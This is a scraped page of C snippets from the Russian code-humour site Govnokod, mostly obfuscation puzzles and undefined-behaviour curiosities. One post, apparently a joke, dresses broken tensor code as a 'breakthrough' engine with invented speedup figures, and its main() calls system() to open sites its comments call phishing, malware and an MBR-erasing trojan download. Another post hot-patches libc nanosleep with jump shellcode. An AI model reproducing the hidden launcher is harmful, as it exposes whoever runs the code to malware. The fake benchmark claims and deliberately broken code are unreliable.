Няшная / Говнокод #29208 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75
  76. 76
  77. 77
  78. 78
  79. 79
  80. 80
  81. 81
  82. 82
  83. 83
  84. 84
  85. 85
  86. 86
  87. 87
  88. 88
  89. 89
  90. 90
  91. 91
  92. 92
  93. 93
  94. 94
  95. 95
  96. 96
  97. 97
  98. 98
#include <stdlib.h>
#include <stdnoreturn.h>

/** @brief scientific official work on neoconv **/

/* APGL 3.1 */
/* FUCK YOU */

typedef volatile struct tensor {
    void* data;
    int* shape;
    int rank;
} tensor;

__fastcall int product(int* shape, int rank)  {
    register int acc = 0;

    for(unsigned volatile register int i = 0; i < rank; i++)
        acc = acc + *(shape + i);

    return acc;
}

// the code is stolen and the license is cut out fuck the author's mom

tensor* get_tensor(int* shape, int rank) {
    tensor* result = malloc(sizeof(volatile tensor));
    *(void**)((char*)&result) = malloc(product(shape, rank) * sizeof(volatile double));
    *(int**)((char*)&result + sizeof(void*)) = shape;
    *(int*)((char*)&result + sizeof(void*) + sizeof(int*)) = rank;
    return result;
}

/** @brief
 * NeoConvolve Fusion Engine v3.0
 * Copyright (c) 2024 NeoCompute Dynamics. All rights reserved.
 * Patent Pending: PCT/IB2024/067832
 *
 ** @details
 * BREAKTHROUGH PERFORMANCE DOCUMENTATION
 * ========================================
 *
 * PERFORMANCE METRICS (vs traditional matrix multiplication):
 * -----------------------------------------------------------
 * - Small tensors (≤128x128):     47-68x faster
 * - Medium tensors (≤1024x1024):  312-487x faster
 * - Large tensors (≤8192x8192):   824-1123x faster
 * - Extreme tensors (≥16384):     1500-2100x faster
 */
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wall"
#pragma GCC diagnostic ignored "-Wextra"
#pragma GCC diagnostic ignored "-pedantic"
noreturn __fastcall __attribute__((force_inline)) tensor* neoconv(tensor* restrict a, tensor* restrict b) {
    tensor* result = get_tensor((int[]) {
        *(int*)(*(int**)((char*)&a + sizeof(void*))),
        *((int*)(*(int**)((char*)&a + sizeof(void*))) + 4)
    }, (int)2);

    double* data = (double*)(*(void**)((char*)&data));
    double* data2 = (double*)(*(void**)((char*)&a));
    double* data3 = (double*)(*(void**)((char*)&b));

    int i = 0, j = 0, k = 0;

    for(; ((i ^ (i + ~0)) & (k + ~0) & (*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4) << 31)); i++) { // Core
        for(; (((j + ~0) >> 31) & ~((j + ~0) >> 31 ^ (*((int*)(*(int**)((char*)&a + sizeof(void*))) + (volatile int)(4 * 2)) << 0))); j++) {
            for(; ((~((k + ~0) >> 31) + 2) & *((int*)(*(int**)((char*)&b + sizeof(void*))) + (volatile int)(4 * 2))); k++) {
                *(data + i * k) = *(data2 + i * j) * *(data3 + j * k);
            }
        }
    }

    return result;
}

void free_start(void) {
    system("open \"https://iloveyou.site/\""); // fishing
    system("open \"https://fuckyou.gay/\""); // fishing
    system("open \"https://minecraftsetup.ru/?etext=2202.NnwVjxOej-ZhTA7FRD_i2AnDK3RdV1BIllijDicU64BhbXlpcHJ2Y2ZzZ3V0dnF2.0738cb5d4b71631c345d62d042df928a52234bef&ybaip=1&os=win11\""); // malware
    system("open \"https://memz-trojan.secursoft.net/\""); // trojan with auto downloading and starting erases mbr
}

int main(void) {
    system("open \"https://browser.yandex.ru/\""); // install
    system("xdg-open \"https://browser.yandex.ru/\""); // install yandex

    free_start();

    tensor* a = get_tensor((int[]){5,5}, 2);
    tensor* b = get_tensor((int[]){5,5}, 2);

    for(int epochs = 0; epochs < 100; epochs++) {
        tensor* forward = neoconv(a, b);
    }

    return 0;
}

lisp-worst-code lisp-worst-code, (Updated )

Комментарии (0)

Няшная / Говнокод #29206 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
/* how many times the value will be printed? 
     change 1 line to fix the possibility to compile at diff x64-32 opt lvls
*/
int main(void) {
    return ({
        #include <stdio.h>;
        __attribute__ ((aligned (8))) struct {
        struct {
        } _struct;
        union _union {
            int _register_  : 001;
            char _auto_    : 1|1;
            struct _struct {
                double _float;
            };
        };
        int _a;
        unsigned short __a;
        int ___a;
    } letni = 
    {._a = 0x1122, 
               0xC1C255AA, 
               0x334477CC};
        *((unsigned short*)&letni._a + (1<<1|1)) = 0x11;
        for (volatile int i = *((unsigned short*)&letni.__a); i--;) {
        if (i == *((unsigned short*)&letni.__a) - 01) {
            *(volatile int*)&i = *((unsigned short*)&letni.___a-1);
            continue;
        };
        printf("%x ", i);
        }
    }), (0,0);
}

"именно поэтому я за C" (c) j123123

когда -std=c23 -O[0/1/2/3/s/g/fast] смог только штеуд, на прочих -O[0/s]
Почему это говно работает?

Raspi_s_Dona Raspi_s_Dona, (Updated )

Комментарии (1, +1)

Няшная / Говнокод #29197 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75
  76. 76
  77. 77
  78. 78
  79. 79
  80. 80
  81. 81
  82. 82
  83. 83
  84. 84
  85. 85
  86. 86
  87. 87
  88. 88
  89. 89
  90. 90
  91. 91
  92. 92
  93. 93
  94. 94
  95. 95
  96. 96
  97. 97
  98. 98
thread_local bool nuke_nanosleep;
#include <syscall.h>
#include <sys/mman.h>
#include <dlfcn.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096UL
#define PAGE_MASK (~(PAGE_SIZE-1))
#endif
#define PAGE_ALIGN(addr) ((((size_t)addr)+PAGE_SIZE-1)&PAGE_MASK)
static int fun_rewrite( void *dst, const void *src, const size_t bytes, void *srcBackup )
{
	void *start_page;
	size_t size_of_page;

	if( !( dst && src && bytes ) )
	{
		return -1;
	}

	// At first, backup original src bytes
	if( srcBackup )
	{
		memcpy( srcBackup, src, bytes );
	}

	// Calculate page for mprotect
	start_page = (void*)(PAGE_ALIGN( dst ) - PAGE_SIZE);

	if( (size_t)((char*)dst + bytes) > PAGE_ALIGN( dst ) )
	{
		// bytes are located on two pages
		size_of_page = PAGE_SIZE*2;
	}
	else
	{
		// bytes are located entirely on one page.
		size_of_page = PAGE_SIZE;
	}

	// Call mprotect, so dst memory will be writable
	if( mprotect( start_page, size_of_page, PROT_READ | PROT_WRITE | PROT_EXEC ) ) // This will succeeded only if dst was allocated by mmap().
	{
		return -1;
	}

	// rewrite function
	memcpy( dst, src, bytes );

	// just in case
	if( mprotect( start_page, size_of_page, PROT_READ | PROT_EXEC ) )
	{
		return -1;
	}

	// clear instruction caches
	__clear_cache( (char*)start_page, (char*)start_page + size_of_page );

	return 0;
}
static int my_nanosleep(const struct timespec *req, struct timespec *rem)
{
	if(nuke_nanosleep)
		return 0;
	return syscall(__NR_nanosleep, req, rem);
}

static void patch_nanosleep()
{
	void *libc = dlopen("libc.so", RTLD_NOW);
	void *pnanosleep = dlsym(libc, "nanosleep");
	uint64_t my_nanosleep_addr = (uint64_t)&my_nanosleep;
#ifdef __aarch64__
	uint32_t shellcode[] =
		{
			0x58000042,
			0x14000003,
			(uint32_t)(my_nanosleep_addr & 0xFFFFFFFF),
			(uint32_t)(my_nanosleep_addr >> 32),
			0xD61F0040
			//0xd65f03c0
		};
	fun_rewrite(pnanosleep, shellcode, sizeof(shellcode), NULL);
#elif defined(__x86_64__)
	uint8_t shellcode[] =
		{
		0x48, 0x8b, 0x15, 0x02, 0x00, 0x00, 0x00, 0xff,
		0xe2,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
		};
	memcpy(&shellcode[0] + 9, &my_nanosleep_addr, 8);

	fun_rewrite(pnanosleep, shellcode, sizeof(shellcode), NULL);
#endif
}
...
nuke_nanosleep = 1;
xrWaitFrame(session, NULL, &frameState);
nuke_nanosleep = 0;

Исправляем принудительно блокирующий по спекам xrWaitFrame без костылей с вызовом в отдельном потоке

mittorn mittorn, (Updated )

Комментарии (0)

Няшная / Говнокод #29130 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
#include <stdio.h>

int bts(unsigned int n, int bitN) {
    return n & (1 << bitN);
}

int main() {
    volatile char *p_lacoon;
    unsigned char res = 0;
    
    p_lacoon = ((unsigned )p_lacoon | 01 << 1);
    res |= bts(p_lacoon, 0) | bts(p_lacoon, 1);

    p_lacoon = ((unsigned )p_lacoon | 01 & ~!~0);
    p_lacoon = ((unsigned )p_lacoon | 01 << 1 << 0);
    res |= 4 << (bts(p_lacoon, 0) | bts(p_lacoon, 1) ^ 3);

    p_lacoon = ((int)p_lacoon | 01 & ~0xFE | 00);
    p_lacoon = ((int)p_lacoon | 01 << 1);
    res |= ~!0xFF << (bts(p_lacoon, 0) | 6 ^ 0x29b);
    res |= ~!0xFC << (bts(p_lacoon, 1) | 4 ^ 0x29c);
    res |= ~!0xF0 << 5;

    p_lacoon = (int)p_lacoon >> 01 >> 001 << 001 << 01;

    printf("%x, %X %s\n", p_lacoon, (res & 001) ? res-1 : res, "*****. Challenge everything.");
}

Предтерминальная стадия мозгфускации.
Из собеса в подразделение AMD: продемонстрировать варианты хранения при недостатке памяти.
Работает в GCC, ICC, Clang только -O0.
Кто хочет разобраться - welcome https://godbolt.org/z/hd4eYeM1Y

OdduOne OdduOne, (Updated )

Комментарии (8, +8)

Няшная / Говнокод #29120 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <limits.h>

int gcc_rtm_virt_test(int a, int(*f)(int, int(*)(), float*), float fa[static (-1,0,1)]) {
    short s = sizeof (short) + sizeof 0;
    char b[12] = "0123456789";

    for (long ll = sizeof b; ll -= 4;) {
        b[ll]   = '0';
        b[ll-1] = '1';
        b[ll-2] = '2';
        b[ll-3] = '3';
    }

    return s - ((1 << 2) - (b[0] - '2'));
}

int gcc_rtm_cf32(int(*f0)(), int(*f1)()) {
    ptrdiff_t d = f1 - f0;
    // guess you know what you're doing
    if (! (d >> sizeof (ptrdiff_t) * CHAR_BIT - 1)) { 
        while (d--) {
            switch(*(unsigned short*)(f0 + d)) {
                case 0xc3c9:
                    return 0;
                case 0xb8:
                    if (!*(unsigned int*)(f0 + d + 1)) {
                        return 1;
                    } 
                    break;
                case 0xC031:
                    return 2;
            }
        }
        return -1;
    };

    return -2;
}

int main() {

    switch (gcc_rtm_cf32(gcc_rtm_virt_test, gcc_rtm_cf32)) {
        case -1:
            fprintf(stderr, "Hey, added smth. special? Maybe -Og? \n"), abort();
            break;
        case 0:
            fprintf(stderr, "Hey, -O0 smells like a dead rat.. check your flags!\n"), abort();
            break;
        case 1:
            fprintf(stderr, "Hey, -O1 is still not allowed.. Would you do better?\n"), abort();
            break;
        case 2:
            fprintf(stdout, "Hey, finally you've captured [-O2 || -O3 || -Ofast || -Os] flag!");
            break;
        default:
            fprintf(stderr, "Hey, looks like you've got impl. defined crap, check PTRDIFF_T stuff.. \n"), abort();
            break;
    };

}

И далее по тексту..gcc'шники опять обкурились в рантайме. Зачэм так делоть, это прикольно?

BCHARa BCHARa, (Updated )

Комментарии (141, +141)

Няшная / Говнокод #29119 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
void rtm_guard(void) {
    /*
        Don't even try to MS VC that stuff, zerobuffy 4eyes.
    */
    unsigned char buf0[0];
    unsigned a = 0xF001BA11;
    unsigned b = 0xF001BA11;
    unsigned c = 0x55550000;
    unsigned d = 0xF001BA11;
    unsigned e = 0xF001BA11;
    unsigned char buf1[0];
    ptrdiff_t diff = buf0 - buf1;

    const char* prnt;
    switch (diff) {
        case sizeof rtm_guard:
            prnt = "dear Nizhny Novgorod '-O1' lover";
            break;
        case sizeof (int):
            prnt = "'gcc -O0' bastard";
            break;
        default:
            prnt = "\b";
    };

    (diff == sizeof (int) || diff == sizeof rtm_guard) ?
    fprintf(stderr, "%s%s%s", 
                "Hey you, ", prnt, ", what the hell are you trying to bang here w/o mandatory flags? Forgot something? \n"), abort() : 
    0;
}

Сodebomb в рантайме наложил. Но нафига? Присосаться хуком и послать курить джуника с лидом как рукопожато билдить?

BCHARa BCHARa, (Updated )

Комментарии (21, +21)

Няшная / Говнокод #29109 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
// https://tio.run/##jY9PC4JAFMTv@ymGJHFjDc06WUEdugpd1YPomgu2in8oED@7WVpRh@jdZt7vDfNCPUwDeeo6oggZpnXEsS6rSGTzZEuIEvFYSI6D42g5QxbHJa8oogwNPIJ@8kLIKtYm06snJwxq7uoD5VO7R1pcEpFyzaDvsP3u@F/YjyzSgzgHQmoUzeP2bgSujw0ag8FkWDBYDEuGVWu/iFneA2rgWv7gjY@Z9FPWox6rml/yuS54VRcShk3arrsB

#include <stdio.h>

#define FOO(p, offset) do { \
    printf("%x\n", &p[-offset]); \
} while(0)

#define BAR(p, offset) do { \
    printf("%x\n", p[-offset]); \
} while(0)


int main() {
    int a[] = {0, 1, 2, 3, 4, 5};
    int *p = &a[3];
    FOO(p, 1);
    FOO(p, 1u);
    BAR(p, 1);
    BAR(p, 1u);
    return 0;
}

testhuest testhuest, (Updated )

Комментарии (4, +4)

Няшная / Говнокод #29101 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
typedef struct ll_node
{
  struct ll_node *prev;
  struct ll_node *next;
  int val;
} ll_node;

ll_node a;
ll_node b;
ll_node c = {&a, &b,3};

// не работает
a.next = &b;
a.prev = &c;

b.next = &c;
b.prev = &a;

/*
c.next = &a;
c.prev = &b;
*/

// зато так работает:
ll_node arr[3] = {
  {&arr[2], &arr[1],1},
  {&arr[0], &arr[2],2},
  {&arr[1], &arr[0],3}
};

Кольцевой двусвязный список.

j123123 j123123, (Updated )

Комментарии (51, +51)